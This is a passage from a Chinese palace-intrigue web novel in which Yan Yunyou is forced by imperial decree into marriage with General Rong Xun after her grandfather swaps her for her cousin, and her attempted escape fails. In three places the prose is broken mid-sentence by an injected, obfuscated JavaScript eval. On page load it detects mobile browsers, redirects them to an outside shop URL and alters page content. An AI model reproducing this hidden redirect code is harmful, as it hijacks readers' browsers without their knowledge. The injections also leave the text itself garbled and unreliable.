道长的话一遍一遍地在他脑海中回响,他越想越是不甘。 容寻手握兵权,又深得皇帝信重,若是不知道燕云姚有当皇后的希望,容寻会是他们伯府梦寐以求的孙女婿。 可燕云姚有皇后命格,又被六皇子看中,容寻便成了那食之无味弃之可惜的鸡肋。 太子之位未定,几位皇子都有希望。六皇子年纪略小,外家势力也不如大皇子和二皇子,但他母妃受宠,他自己性情温和,听闻才学也不错,在朝中颇受赞誉。 宣武帝还年轻,六皇子往后未必不能后发制人。 偏偏出来个容寻横插一脚,燕云姚又只有一个…… 燕老太爷心里天人交战,突然眼里精光一闪,一个大胆的念头出现在脑海中。 ——燕云姚只有一个,可他不止一位孙女儿。倘若让燕云悠顶替她堂姐给容寻,岂不是两全其美? 容寻这个妹夫,正好补上六皇子势不如人的缺憾。 两位孙女婿携手,六皇子荣登大宝指日可待! 届时,作为促成此事的功臣,作为维系二人关系的纽带,莫说一个伯爷爵位,他便是要拜相封侯又有何难? 燕老太爷激动得身躯微颤,一时也顾不上害怕了。 “陛下,云姚虽好,但臣还有一位小孙女儿也十分出众,与容将军可谓是金童玉女,天生一对!” 宣武帝冷下脸来:“荣安伯是认为我东禹的功臣配不上你的大孙女儿?” “陛下恕罪,臣绝无此意!”燕老太爷急忙跪下告罪,“实在是我那小孙女儿燕云悠仰慕容将军已久。当初容将军凯旋,云悠写了诗文称赞,还立下誓言,此生非容将军不嫁!臣不忍孙女儿蹉跎一生,这才厚着脸皮为她求一个恩典。” “写诗称赞?”宣武帝顿了顿,似乎想到了什么,表情微妙,“容大将军猛如狼?” 燕老太爷汗如雨下,硬着头皮干笑道:“是,云悠才疏学浅,诗做得不好,贵在情真意切!她率性可爱,又体贴温柔,若能成好事,定不会辜负陛下美意!” “荣安伯是觉得朕对这京中之事一无所知?”宣武帝似笑非笑,“你那小孙女儿可是出了名的草包,她能配得上朕的爱将?” 他看着燕老太爷,冷笑一声:“回去等着吧,容寻要娶的人朕自有定夺。” 燕老太爷灰溜溜地离开,宣武帝嗤笑一声,看向屏风后头:“获之,出来吧。” * 一青年男子自屏风后走出来,宣武帝看着他,面上是不加掩饰的亲近和欣赏。 “坐下说话。” “是。”容寻拱手,在宣武帝右下方的椅子上坐下。 边上伺候的太监不需皇帝指示,便低眉顺眼,自觉过来为他添茶。 “方才你都听见了,”宣武帝语气温和,“燕云姚在京中素有美名,我想将她指给你。荣安伯这老匹夫不知好歹,但皇后说这姑娘是个好的,你可愿意?” 容寻目光低垂:“臣无意娶亲。” 他今日进宫,本是来请命回北境的,不巧正遇上皇帝为他挑选婚事。 “容家就剩你一个了,当初你非要去北疆,说要替你爹报仇,如今大仇已报,也该成家了。”宣武帝表情无奈,“先前的东阳郡主和沈家女且不说,昨日那么多姑娘你都瞧见了,就没一个喜欢的?” 容寻摇头,默然不语。 宣武帝气笑了:“朕若命你必须择一人成亲呢?” 容寻的脸隐在一片阴影之中,瞧不出什么表情:“那就荣安伯府二小姐。” “谁?”宣武帝喉咙一梗,“燕二小姐?那个草包!?” 他不可置信,但面前的青年似乎没有玩笑的意思,他百思不得其解:“你在与朕赌气?” “臣不敢。”容寻语气平静。 “是六皇子同你说了什么?”宣武帝思索了一会儿,皱眉道,“获之,你不必为任何人退让。” “与六皇子无关。”容寻抬头,淡淡道,“臣昨日与燕二小姐说过话,十分投缘,若非要娶,那便是她。” “你与她?投缘?”宣武帝摩挲着御座上的龙纹,表情复杂,“……你先回去,朕再想想。” 容寻拱手退下,宣武帝看着他高大的背影,摇了摇头,喃喃道: “昨日来了那么多人,怎么偏就和燕家二小姐说上话了……” * 一日之内,伯府长房的情绪便从山顶跌到了谷底。 卢蔓芳不敢大意,让燕长瑞派人盯着,就怕长房祸水东引,用燕云悠顶替她堂姐。 果然,下午燕长鸿夫妻匆匆出门,不知是去找六皇子求救还是去尚书府找门路了。 卢蔓芳和燕长瑞原打算明日一早回卢家,这下实在坐不住了。两人兵分两路,燕长瑞去找宫里的人打探消息,卢蔓芳连夜回了娘家,让卢家派人过来求亲。 燕长瑞回来时天色已晚,他满身疲惫,但还是没敢睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315198|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一直等到妻子回来。 两人见面后,不等卢蔓芳开口问,他便抢先道:“今日圣上召见爹时在场的人不多,我没打探出具体情况,但听说昨日宫宴前,皇后便找人问过云姚,想来他们选中的就是云姚。你那边如何?” “太好了,我这头也十分顺利。”卢蔓芳笑容满面。 “轩临听说你松口别提多高兴了,大哥和嫂子也欢喜得紧,说明日一早就去置办下聘要用的东西,后日便请媒人过来。” 魏轩临从小便喜欢燕云悠这个小表妹,幼时被燕云悠支使得团团转也乐在其中。 两家虽未明说,但他是知道姑姑有意将燕云悠嫁给他的。 两人到了议亲的年纪,因为燕长瑞和燕老太爷不乐意,亲事一直没定下来。 魏轩临中举后,开始有人主动过来说亲,卢家夫妻也问过他的意见,可他执意要等燕云悠。 好不容易得偿所愿,自然是满心欢喜。 “嫂子说家里在修地龙,悠儿嫁过去冬日也不怕受凉,轩临又给悠儿买了好些东西,悠儿让他帮忙找的那几样物件他也找到了……” 卢蔓芳絮絮叨叨地说着卢家的事儿,今日因燕云姚的亲事引起的不安,在她和缓的声音中,渐渐褪去。 燕长瑞搂着妻子的肩膀舒了口气:“圣上是明君,咱们悠儿既已订亲,应当不会再有变故了。” * 翌日,燕云悠也知道了此事。 她早有心理准备,但真到了快要和魏轩临定亲的时候,心里还是有些恍惚,总觉得不真实。 她还未满十六,竟就要成亲了? 不过表哥温柔俊俏,对她言听计从,与表哥成亲,应当不错。 她就安心等着去卢家做土皇帝吧。 若是表哥日后能谋个一官半职,她便带着家人跟去,正好离开京都这个是非之地。 燕云悠一边在自己的小书房忙活,一边思索往后的生活。 正忙得投入呢,幼梨推门而入,神色慌张:“小姐,宫里来了人,老太爷让大家都出去接旨!” 荣安伯府徒有空名,几乎只剩个空架子了,燕云悠也是第一回遇见宫中传旨。 她匆匆出门,和卢蔓芳、燕长瑞、燕从己汇合后,一起往前院走。 正厅里的香案飘出缕缕青烟,燕老太爷和长房的人已经到了,燕老太爷换了朝服,下人们俯首低眉,气氛十分肃穆。 长房一家面色沉重,隐隐透出些不甘。唯有燕云姚,还算平静。 传旨太监一声令下,所有人一齐跪下。 燕老太爷在前,燕长鸿和燕长瑞分列左右,燕云悠被她娘牵着手,跪在他们身后。 “奉天承运皇帝,昭曰:定远将军容寻,骁勇善战,屡立奇功,为我东禹之栋梁。今已及冠,当择良配……” 卢蔓芳眼皮子直跳,心里莫名有些发慌,手上不自觉地用力。燕云悠反手握住她,安抚地拍了拍。 “荣安伯府嫡次女,品貌出众,聪慧贤淑,正值芳年,待字金闺……” 像一道惊雷在脑海中劈开,燕云悠不敢置信地抬起头。 嫡次女?! 5. 第 5 章 “大胆!” 尖锐的斥责声传入脑海,原来失态的不止燕云悠一个。 燕从远被训斥了一句,连忙低下头,却一扫方才的颓唐,眼里满是惊喜。 和他一样的,还有长房夫妻和老太爷。 与之相反的,则是二房一家。 燕云悠恍惚过后很快回过神来,一手扶着母亲,一手按着哥哥; 卢蔓芳面色惨白,手捂着胸口,身躯颤抖,若不是女儿扶着,几乎要跪不住了; 燕长瑞双目赤红,手握成拳; 燕从己胸口剧烈起伏,在无人注意到的角落,死死地瞪着燕老太爷和长房那边。 峰回路转,燕老太爷喜得不知如何是好,压抑着激动的心情送走传旨的太监后,又眉开眼笑地朝燕云悠走去。 走到半截,脚步一滞。 “娘!” 燕云悠一声惊呼,众人循声望去,发现卢蔓芳倒在了女儿怀中。 燕老太爷的笑容僵在脸上,他这才反应过来,容寻位高权重,但名声不算好。 这门亲事,二房未必乐意。 燕云悠力气小,抱不动她娘,燕长瑞红着眼睛冲过来。 “外头的传言未必可信,容将军少年英才,深得陛下信重,未来前途无量。如今陛下亲自指婚,是云悠的福气。”燕老太爷拍了拍燕长瑞的肩膀,“老二你好生劝导你媳妇,让她莫要担忧。” 长房夫妻对视一眼,也收起脸上的笑意。 两人隔着段距离,轻飘飘地开口。 “二弟,圣上赐婚可是天大的脸面,宫里的人刚走,你们就这副做派,若是让圣上知道可就不好了。” “夫人此言差矣,弟妹兴许是高兴得晕过去的呢!” 燕从远更是一副幸灾乐祸的语气:“云悠妹妹名声这么差,能嫁给容将军已是捡了便宜,二叔你们就别不知足了!” 燕长瑞目眦欲裂,燕云悠泪水满面,燕从己猛地冲过去,将燕从远按在了地上。 两人转眼间便扭打成一团。 燕云悠胡乱抹了把眼泪,扯了扯燕长瑞的衣袖:“爹,给娘找大夫要紧。” 燕长瑞的目光恨恨地扫过长房夫妻二人,最后深吸了口气,抱起卢氏,大步往内院走。 燕云悠唤来小厮吩咐一声,又赶忙去追爹娘。 她跑得太快,跌跌撞撞,在垂花门的台阶上绊了一下,磕在坚硬的石沿上,手心划出一道鲜红的血痕。 幼梨一下就哭了:“小姐!” 她和幼萍流着泪上前,扶起燕云悠。燕云悠瘪了瘪嘴,又极力压住哭意。 “扶我去看我娘。” * 燕云悠身子骨弱,时不时便要请大夫,她身边的小厮轻车熟路,很快将回春堂的老大夫抬了过来。 卢氏的身体并无大碍,大夫一针下去,便幽幽转醒了。 只是仍接受不了女儿要嫁给容寻的事实,醒来后抱着丈夫哭得停不下来。 “东阳郡主至今都未痊愈,皇帝的堂妹在容寻面前都讨不着好,我的女儿要怎么办?长瑞,我们的女儿怎么办!!” “为什么偏偏是悠儿,为什么?!”卢氏仰头看向燕长瑞,眼里是撕心裂肺的痛楚,“悠儿先天不足,生下来像只小猫一样,气息弱得几乎没有,好不容易救活了,却三天两头地生病。我每夜每夜地睡不着,不敢眨眼地守着,好不容易将她养这么大,为什么圣上要把我的悠儿指给容寻?!” “悠儿的身子这般脆弱,她到了容寻手上能活几日?他们这是要我女儿的命啊!!”卢氏情绪濒临崩溃,拉着丈夫的衣襟嘶声质问,“昨日分明说是要云姚,圣上为何突然改了主意,是长房干的对不对?一定是他们!用我的悠儿换他们的女儿,他们好狠的心啊!” “原来这伯府真会吃人,你们燕家就是个魔窟,哈哈!”她声音嘶哑,面色疯狂,“好啊,既然悠儿活不了,那燕从远和燕云姚也别活了,我要长房一家四口为我女儿赔命!” “芳娘,不会的,悠儿不会死。”燕长瑞抱着妻子,声音哽咽,“还没到那一步,我们再想想,一定还有办法。” * 燕云悠站在卧房门口的帷幔后,看着她爹爹安抚娘亲,眼泪无声地往下流。 她虽然活了两辈子,但并不比同龄人稳重多少,此刻心中惶惶,既担忧自己的未来,又心疼母亲。 燕云悠想起了那道人的话,她可能活不过十八岁。 上辈子也是这样,爹娘在她身上耗尽心血,悉心照料十几年,最后她还是死了。 这一世没生那样的大病,她自己也格外小心,还以为会比上一世强,没想到还是要让爹娘伤心。 她真的要认命吗? 卢蔓芳的哭声从屋里传来,燕云悠抬手擦干眼泪,眼神逐渐坚定。 她不想让爹娘失望,她不想死。 她要先冷静下来,不能自乱阵脚。 婚期未定,还有时间,即便真不得已同那煞神成了亲,她也不能轻易放弃。 似乎想到了什么,燕云悠转身出门,径直往前院走。 * 前院,严家堂兄弟还在扭打,院子里拉架的、骂人的,乱成了一锅粥。 燕云悠到那儿时,燕从远鼻青脸肿,燕从己自己也受了伤。 不过有燕云悠提前叮嘱,他的几个小厮几乎是在明目张胆地拉偏架,所以他只受了点儿皮外伤。 燕老太爷脸色铁青,唾沫横飞:“成何体统!!你们还有没有一点规矩?!” 长房夫妻气急败坏,燕长鸿实在是按捺不住了,他面上闪过一抹戾色,对着身边的随从使了个眼神。 那人收到指令,拎着根棍子朝燕从己走去,显然是要下狠手。 燕云悠眼神一变,迅速跑过去挡在她哥哥面前:“住手!” 燕长鸿的亲随犹豫着停下脚步,燕从己听到妹妹的声音,也终于放开燕从远站了起来。 围着他们的小厮全部散开,长方夫妻两连忙去看儿子。 燕从远哀声连连,疼得起不来,他娘姜氏心疼坏了,指着燕从己怒道:“从远不过一时失言,你竟下如此狠手,难道是想打死他吗?!” “伤在自己儿子身上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315199|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们知道心疼了?拿我妹妹去顶燕云姚的时候怎么没想过这一遭?”燕从己冷笑一声,“圣上给容寻选的原本是燕云姚,为何突然变成我妹妹,你们真以为没人知道?” 姜氏侧头避开他的目光:“莫要胡言,圣上的旨意岂容你我置喙!” 燕从己嗤笑一声,拉着燕云悠走到燕老太爷面前。 “祖父,”他定定地看着燕老太爷,“我爹的爵位,我娘那间铺面,还有您的职位,我们都不要了,只要您去找圣上,请他收回旨意,往后伯府的一切,您可以全给大伯,我们二房绝无二话!” 燕从己抿了抿唇,面带祈求:“我妹妹身子弱,您若还当她是您的孙女儿,便救她一回。” 燕云悠仰头看着燕从己,她这哥哥从小吊儿郎当,这还是头一回这般郑重其事。 燕云悠心里又酸又胀,但知道燕老太爷不会答应。 果然,燕老太爷眼神闪躲:“圣旨已下,岂有收回去的道理?从己,我知道你担心妹妹,你放心,云悠是陛下指给他的妻子,容将军不会伤害云悠的。” 燕长鸿居高临下地附和:“是啊,容将军乃人中龙凤,这门亲事旁人求都求不来,你们莫要不知足。” 燕从己脸上的希冀渐渐消失:“容寻那么好,你们为何不让燕云姚嫁?” “燕云姚那么爱出风头,她自己招来的祸事,她自己担着啊!”燕从己指着燕云姚,眼里几乎要喷出火来,“你现在满意了吧?你招摇过市,人人称赞,好名声都自己得了,惹出祸来还能拿我妹妹顶!从小到大,这府里所有的好东西都要紧着你,我妹妹只能用你挑剩下的,凭什么啊?!” 燕云姚皱眉不语,燕长鸿先急了:“要怪只怪你爹娘没本事,教养出你们两个草包,罢了,上不得台面的商户女,能指望她——” “啪”的一声,燕长鸿不敢置信地捂住脸:“燕云悠,你疯了?!” 众人目瞪口呆,几乎要惊掉下巴,谁也没想到燕云悠竟敢出手打她大伯。 燕长鸿一副恨不得将她生吞活剥的表情,燕云悠双眼含泪,身躯颤抖,但表情执拗,不躲不闪。 燕从己收回下巴,连忙把妹妹护到身后。 姜氏咬牙切齿:“反了天了!当侄女儿的竟然打起大伯来了!” “岂有此理,”燕老太爷怒喝,“一个两个都当着我的面对兄长大伯动手,你们眼里还有没有我这个祖父?!今日若不家法惩治,你们往后是要无法无天了!” “祖父今日若敢动我和我哥哥一根手指头,我保证,你们会后悔。”燕云悠声音还带着哭腔,语气却十分坚定,“现在该是你们求着我,若这桩婚事有任何意外,这伯府所有人都得为我陪葬。” * 燕云悠带着燕从己,在燕长鸿夫妻怨毒的目光中全身而退。 回春堂的老大夫还在,正好给燕从己看伤,燕云悠则被她爹娘叫到了屋里。 卢蔓芳眼睛还红肿着,但已整理好情绪,她握着燕云悠的手,低声安抚: “悠儿莫怕,爹娘已经在想法子,断不会让你嫁给容寻,你只安心等着。” 6. 第 6 章 翌日,燕老太爷出人意料地来了燕云悠院里。 他不仅没再追究昨日之事,还让下人送了一堆小玩意儿过来。 “昨日瞧见你手上绑了布巾,可是受了伤?” 燕老太爷温言细语,表情一反常态的慈爱:“这瓶金创药是旁人送给祖父的,用料金贵,祖父一直舍不得用,特意拿来给你。你身子骨弱,受了伤不可掉以轻心,待会儿记得让下人替你抹上。” 事出反常必有妖,燕云悠猜想他今日过来别有目的,可心里憋着气,实在不想和他演上慈下孝那一套,遂默然不语,也没接他手上那瓶药。 燕老太爷叹了口气,将药瓶搁在桌子上,又从怀里掏出个玉镯: “这是你祖母留下的镯子,原是该给你未来嫂子的,未曾想你会比你哥哥先成亲。圣上让你嫁给容将军,祖父知道你不情愿,奈何木已成舟,祖父也无计可施,这镯子算是祖父对你的一点补偿罢。” “云悠,祖父知道你对祖父有怨,这些年也确实是祖父对不起你们一家,可祖父也是万不得已啊。” 他看着燕云悠,一副无奈伤怀的表情:“伯府两房本是一体,一荣俱荣,一损俱损。这些年咱们燕家一直在走下坡路,祖父没本事,你爹爹和大伯也碌碌无为,好在还有你堂姐。你堂姐是咱们燕家的希望,唯有举全府之力托举她,让她走到更高处,伯府才有出路,你们这些小辈才能有人庇佑,祖父不得不多帮着他们一些。实际上,你爹爹也是祖父的儿子,你是我看着长大的小孙女儿,祖父怎会不心疼你?” 燕云悠知道此时该顺着他的话说,好让他露出真实目的,但一口气憋在心中,实在不吐不快。 “眼下我替堂姐嫁给容将军,也算是替伯府出力了,祖父若真心疼我,不如把爵位传给我爹,把我娘的铺子还给她,把大伯的职位给我哥哥,再拿一万两银子给我做嫁妆?” “……”燕老太爷被堵得说不出话来,好半晌后摸了摸胡子,讪讪道,“并非祖父舍不得这些东西,只是你堂姐要高嫁,不能没有这份体面。不过你放心,待你堂姐事成,祖父定加倍地补偿你们一家,届时你想要什么都好说!” “是吗?” 燕云悠心里冷笑,但既出了气,再与燕老太爷纠缠也是无益,便假装信了他的话。 “祖父可要记住今日说的话。” 燕老太爷松了口气,忙道:“那是自然!” 又觑着她的神色,小心试探:“昨日你说要用你和容将军的婚事让我们后悔,可不能胡来,若是惹怒了圣上,你爹娘哥哥可都会被牵连!” “祖父放心,我昨日说的只是气话,我会好好与容将军成亲的。” “好,祖父就知道,你向来乖顺懂事,绝不会拿家人性命赌气。”燕老太爷状似无意,“对了,那日面圣,祖父随口说起你曾为容将军作诗,圣上误以为你倾慕容将军、非他不嫁,祖父一时解释不清,只得认了。” 他微微侧头,避开燕云悠的视线:“你到了容将军面前,莫要说漏嘴,不然咱们可是‘欺君之罪’。” 燕云悠两眼一黑。 难怪皇帝突然换了个人指婚,原是因为她倾慕容寻,非容寻不嫁! 费尽心思也要将她嫁给那个煞神,可真是她的好祖父! 不过她祖父在皇帝面前没什么分量,此事只怕六皇子也出了力。 如此说来,容寻竟是被迫娶她的? 燕老太爷循循善诱:“容将军年轻气盛,吃软不吃硬,你表现得热络些,他心里定然受用,与你也有好处,你可明白?” 燕云悠气得不轻,但为了不引起燕老太爷的警惕,还是咬着牙应道:“云悠知道了。” 燕老太爷满意地摸了摸胡子:“那就好!” 他从燕云悠的院子里离开,转身又去了燕长瑞夫妻那儿,想必是放心不下,还要敲打他们一番。 * 后头几日,卢蔓芳和燕长瑞的几个亲信时不时便悄悄出门。 许是燕老太爷有所发觉,伯府前后两个门都增添了人手,燕云悠的小院外头更是时时都有护卫巡逻。 说是近来京都不太平,要加强防卫,实际上是什么目的,大家心知肚明。 燕云悠自己也在想法子。 伯府的人在皇帝面前说不上话,她爹更是连面圣的机会都没有,她思来想去,如今想让这门亲事作废,只有两种可能。 一是她装病或装死,二是容寻出面,让皇帝收回成命。 第一个风险太高。 她前日进宫时还好好的,突然生病,皇帝定会生疑,到时候宫中派御医出来查验,万一查出个什么,伯府上下都要遭殃。 让容寻出面也有风险。此人就不是个好说话的主儿,他那煞神将军的名号也不是白得的,但眼下也没有更稳妥的方式了。 容寻是宣武帝奶兄的独子,他祖父祖母为宣武帝储位而死。父亲当初跟着还是皇子的宣武帝上战场,为救宣武帝殒命。母亲当时正怀着他,噩耗传来后提前发作生下他,但也难产而死。 一家老小,就活了他一个。 他从小在宫中长大,由宣武帝亲自教养,与宣武帝相处的时间比几个皇子还多些。两人虽是君臣,却也像父子,情分自然不一般。 容寻十五岁便封了侯,皇子们与他兄弟相称,再位高权重的朝臣也不敢在他面前摆架子。 即便他将东阳郡主害成那样,也没受任何惩罚。倒是当初弹劾他那位言官,被皇帝剥了官职。 燕云悠猜想,若有一个人能让皇帝收回旨意,那也只会是容寻。 不过虽说是被迫,但容寻已经应了这门亲事,如何促使他劝说皇帝取消这桩婚事也是个难题。 打蛇打七寸,最好是能找到他的软肋,一击必成。否则惹怒了他,最后计划落空,自己嫁过去只会更加危险。 后头几天,燕云悠一直在琢磨此事。 未等她想到一个周全的法子,钦天监已经奉旨为她们选好了吉日。 亲事就定在下月初十,礼部的人已带着皇帝赏的嫁妆住进了伯府,开始筹办此事。 燕云悠着实没想到会这么快,一时慌得六神无主,更出人意料的是她爹娘已经做好了准备,要将她送走。 * “今日礼部的人刚住进伯府,府里人来人往,难免疏漏,正好方便你离开。今晚娘会装病,让丫鬟去唤你过来,你和幼萍在我这儿换上小厮的衣裳,卫山会带你们离开,幼萍稳重,卫山身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315200|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手好,有他们跟着你,娘才放心……” 卢蔓芳眼眶泛红,心里既是不舍,又是决绝:“外头的一切爹娘都打点好了,出了伯府会有人接应你们。” “不行,”燕云悠摇了摇头,“我走了,你们怎么办,皇上怪罪下来怎么办?” 卢蔓芳拉着女儿的手,拍了拍:“你放心,爹娘早有谋划,前几日便刻意放了风声出去,说你身子不好,常有病痛。你离开后再过三日,我和你爹再将此事告诉你祖父,到时让他们配合我们演戏,给你办一场假丧事。” “只要找不到你,你祖父和你大伯与咱们就是一条船上的蚂蚱,他们不仅不能拆穿此事,还得帮着咱们圆谎。” 燕云悠仍是不放心,面色迟疑:“若皇上不信我死了,要验我的尸身怎么办?” “我们会趁他还未反应过来之前将葬礼办完,圣上总不至于派人挖坟。”卢蔓芳勉强笑了笑,“悠儿,爹娘已经将所有可能会出现的情况都想过了,你莫要担忧,只管放心地走。待事情平息,爹娘也会离开这伯府,届时咱们一家人还会团聚。” “这样太冒险了。”燕云悠眉头微蹙,似乎在思索着什么。 她面上几度变化,最后一咬牙:“娘,不如找人做场戏,假装我在去寺庙祈福的路上被山贼绑走,丢了清白,再将消息传到容寻那里,让他找皇上取消亲事。” “不成,你爷爷不会允许伯府出现这样的污点,若不将事情查个水落石出,他不会罢休。”卢蔓芳缓缓摇头,“况且,容寻在赐婚圣旨下来的那日便出京了,还不知哪日回来。” 她叹了口气:“我和你爹也想过要从容寻身上下手,可连他的人都见不着,实在无从着手。” 燕云悠面色一怔:“他竟在这个关口离开……” 卢蔓芳满脸疼惜地看着女儿。 大婚在即,容寻却消失得无影无踪,只怕是完全不在意这门亲事,也不在意燕云悠这未婚妻。 他本就不是良人,如今还这副态度,燕云悠嫁过去能有什么好下场? 卢蔓芳想到这里心头一紧:“悠儿,机不可失,莫再犹豫了。” * 从卢蔓芳那儿回来后,燕云悠一个人怔怔地在屋子里坐了许久。 她心里天人交战,既怕枉费爹娘的筹谋,错失挽救自己命运的机会,又怕事情败露害了她爹娘。 天一点一点的黑下来,不知何时,院子里亮起了灯笼。 卢蔓芳身边的丫鬟如约赶来,说她们主子病了,难受得厉害,老爷让小姐过去。 燕云悠和幼萍光明正大地在院外守卫的注视下离开,去了她爹娘那儿。 卢蔓芳和燕长瑞院子里灯火通明,夫妻两已等候多时,燕云悠一进门便被卢蔓芳拉去内间换了小厮的衣裳。 “待会儿你们从西边的角门出府,你和幼萍躲在卫山和卫海身后,门口守卫问话,自有他们应对,你们不要开口……” 时间仓促,该交待的下午卢蔓芳已经交待过了,此时即便仍有一万个不放心,卢蔓芳和燕长瑞也没有多言。 夫妻两态度坚决,由不得燕云悠再打退堂鼓。 燕云悠和幼萍扮作小厮,在她爹娘不舍的目光中,跟着卫山和卫海离开。 7. 第 7 章 入秋之后天气转凉,今夜风大,燕云悠身上的衣裳比她平日里穿的单薄许多,但她浑然不觉得冷。 路上经过燕从己的住处,她瞧见哥哥院子里的灯笼也还亮着。 燕从己这些日子也未死心,又跑去燕老太爷那儿闹了几回。燕老太爷不胜其烦,已将他禁足。 卢蔓芳和燕长瑞怕走漏风声,送燕云悠走也没同他说。 燕云悠看着哥哥院子里的灯光,心里翻江倒海。 她一会儿想,今日一别,不知何时才能见到爹娘哥哥了;一会儿又想,哥哥这么晚还没睡,不知是不是还在为她担忧…… 脑海里好多个念头,纷乱无序,但心底最深处那股忧惧始终萦绕不散——万一自己假死之事被人拆穿,皇帝降罪怎么办? 稍一想,便让她怕得发抖。 离伯府侧门越来越近,燕云悠的脚步也越发迟疑。 她真的要走吗? 这门亲事是她祖父主动促成,最后又因她落空,皇帝会不会认为伯府在故意捉弄他? ‘天子之怒,伏尸百万,流血千里’,她真要拿伯府上下几百口人的安危去赌,拿她爹娘兄长的命去赌? 即便皇帝不追究,还有容寻。 容寻年轻气盛,性情暴戾,又位高权重,他的怒火,也不是荣安伯府承担得起的。 燕云悠深吸了一口气,停下脚步。 此时,伯府西侧的角门已近在咫尺。 幼萍不解地拉了拉她的袖子,卫山和卫海也回过头来。 不等她说话,门口的守卫已注意到她们:“何人在那儿?” 卫山和卫海交换了个眼神,卫海大声应道:“是我,卫海。二夫人病痛复发,让我们几个出去请大夫。” “今日都请了几回大夫了,怎么又发作了……” 夜里光线昏暗,瞧不清人脸。守卫睡眼惺忪,认出卫海后嘀咕几句,没有深究。 厚重的木门缓缓打开,卫山和卫海用眼神示意燕云悠快些跟上。 就在此时,一道清越的女生在她们身后响起:“慢着!” * 一队人举着灯笼、火把飞速靠近,将伯府侧门照得天光大亮,晃得人睁不开眼睛。 门口的护卫眯着眼睛看了一眼,连忙拱手行礼:“大小姐,不知出了何事?” 幼萍吓得僵在原地,燕云悠也有瞬间的失神,但很快镇定下来。 卫山和卫海心里‘咯噔’一声,迅速绕到燕云悠身后挡住她。 眨眼间,燕云姚兄妹二人已到跟前。 “后面的两个,转过身来。”燕云姚的语气一如往常地沉稳。 卫山心道不好:“大小姐,二夫人身子不舒服,小的们奉命出去请大夫,不知您这是何意?” 不待燕云姚开口,一旁的燕从远冷笑一声:“别废话,让你们转过来就给我转过来!” 他说完一抬手,身后的随从抽出腰间挂着的长刀,向燕云悠她们围拢。 卫山瞳孔紧缩,额头沁出一层汗来:“二夫人病情严重,倘若耽搁就不好了,还请大小姐和大公子容我们先去请大夫——” “还在等什么?”燕从远对着手下斥道,“把人给我抓过来!” 卫山还要说话,却被燕云悠拦住了。 燕云悠缓缓从卫山身后走出来,她歪头看向燕云姚:“堂姐是来抓我的?” 她话音落下,燕从远兴奋地瞪大了眼睛:“真被云姚算准了,你爹娘果真要趁今日府中人多杂乱,送你逃走!好啊!丁三赵六你们快去将我爹娘和祖父请来,让他们都来瞧瞧咱们伯府二小姐要做什么好事儿!” “不必。”燕云姚冷冷地出声,“时辰已晚,无需惊动他们。” 燕云悠面色苍白,眼眶却微微泛红,她定定地看着燕云姚,一张俏丽的脸上没有任何表情。 今日从汀兰苑回去后,她将晚上出逃的场景想了无数遍。 她想过会被府中侍卫拆穿,想过会被燕老太爷阻拦,但惟独没想到,拦住她的人会是燕云姚。 她还以为,燕云姚和燕从远不一样。 “事情已成定局,莫要再做无谓的挣扎,不然整个伯府都会因你受累。”燕云姚皱了皱眉,眼里满是不赞同,“咱们是荣安伯府的子孙,受伯府养育,有帮扶伯府的责任。眼下伯府式微,圣上选中了你,你就该听从旨意与容将军成亲,再伺机回报伯府。如此,方不负伯府的养育之恩。” “养我的是我爹娘,从不是这劳什子伯府!荣安伯府这靠女子裙带换来的荣耀,本就是海市蜃楼,难道还要让府里一代一代的姑娘拿骨血强撑?还有——” 燕云悠眼中含泪,指着燕云姚:“这府中谁都有资格不许我走,唯独你没有,因为这门亲事本是你的,我燕云悠是替你挡灾!你若真那么大公无私,就自己去嫁啊!” “我自会担起我那份责任。”燕云姚侧身避开她的视线,淡淡道,“你嫁与容将军,与我各尽其责,才能为伯府提供最大的助力。” “好一个大义凛然的伯府大小姐,真不愧是祖父的好孙女儿!” 一股无名的怒火在身体里翻腾,燕云悠气极反笑,她还要说话,却发觉额头一凉。 不知何时,天上飘起了雨。细细的雨丝落在脸上,燕云悠面上一怔,突然冷静下来。 她本就不准备走,何必在此与长房兄妹二人纠缠。 道不同,不相为谋。她和燕云姚,从来就不是一路人。 “你同她废什么话。”燕从远早等得没耐心了,这会儿见下雨了,心里愈发不耐烦。 他对着燕云姚抱怨了一句,又对着门口那几个惊呆了的守卫扬了扬下巴:“把门给我关上,今日伯府一只蚂蚁也不能放出去!” 说完得意洋洋地走到燕云悠跟前:“燕云悠,你是逃不掉的,还是趁早死了这条心,老老实实等着与容将军成亲吧!” 燕云悠看也没看他,只对着卫山和幼萍他们低声道:“我们回去。” 话落,她一把推开燕从远,径直往内院走。燕云姚接了下人递过来的伞,想要给她,也被她冷着脸撞开。 